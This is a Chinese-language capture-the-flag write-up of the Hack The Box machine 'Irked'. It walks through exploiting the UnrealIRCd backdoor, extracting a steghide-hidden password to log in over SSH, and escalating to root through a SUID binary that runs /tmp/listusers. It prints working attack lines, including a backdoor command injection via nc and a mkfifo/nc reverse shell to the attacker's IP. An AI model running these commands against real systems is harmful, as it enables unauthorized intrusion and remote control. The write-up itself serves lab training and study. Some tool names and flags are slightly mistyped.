
跑一下 LinEnum.sh 看下能不能跑出 /home/djmardov/.backup 文件。

nmap -d -p6697 --script=irc-unrealircd-backdoor.nse 10.10.10.117
扫到 unrealircd 后门。

实际上这里要开启后门只要 nc 命令过去就可以了。需要登陆吗,待确认
echo "AB; ping -c 4 10.10.14.21;"|nc 10.10.10.117 6697
unrealircd 后门利用,执行反弹 shell 命令拿到普通用户 ircd权限。
nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.21 4444 >/tmp/f &' 10.10.10.117

ircd 并没有 user flag,找到 djmardov 用户 ./documents,无权限打开 user.txt,看了 sudo -l 没有可以切换的姿势,在 documents 下 ls -la 发现隐藏文件 .backup,cat 一下是一个 xxx step backup pw,像是某个密码,用来 ssh djmardov@10.10.10.117 不对,于是 google 一下发现跟 stephide 这个工具有关。
stephide 是用于将文件隐藏在图片、音频的工具。
stephide extract -sf irked.jpg -p password # 提取文件
steghide embed -ef secret.txt -cf irked.jpg # 隐藏文件,自己要验一下
# 会被提示输入口令
Enter passphrase:Re-Enter passphrase:embedding "secret.txt" in "irked.jpg"... done
提取出来看到 pass.txt,ssh djmardov@10.10.10.117 登录成功,拿到 user.txt。
查看 html 目录是否可写,因为这里 apache 是 root 启动,有 webshell 就有 root,但是 /var/www/html 目录不可写。
exim4 - 4.84-2 看有提权漏洞,实则兔子洞,很坑。

另辟蹊径,轻松提权。

因为这里有提示
listusers not found,才会让人注意到这里执行了一个文件/tmp/listusers。
假如这个文件存在呢,没有提示,那要怎么知道执行了哪个文件?正确操作应该是把 viewuser 转 b64 提到本地做分析。
# 靶机二进制文件转 b64 base64 -w /usr/bin/viewuser > b.64 # 下载到本地解码 b64 base64 -d b.64 > viewuser chmod +x viewuser strace ./viewuser # 看里面的执行逻辑 - 姿势1 易于阅读 ltrace ./viewuser # 看里面的执行逻辑 - 姿势2可以看到执行了具体哪个文件
system("/tmp/listusers"),最后做修改替换执行/bin/bash。
(图)
nmap --script vuln。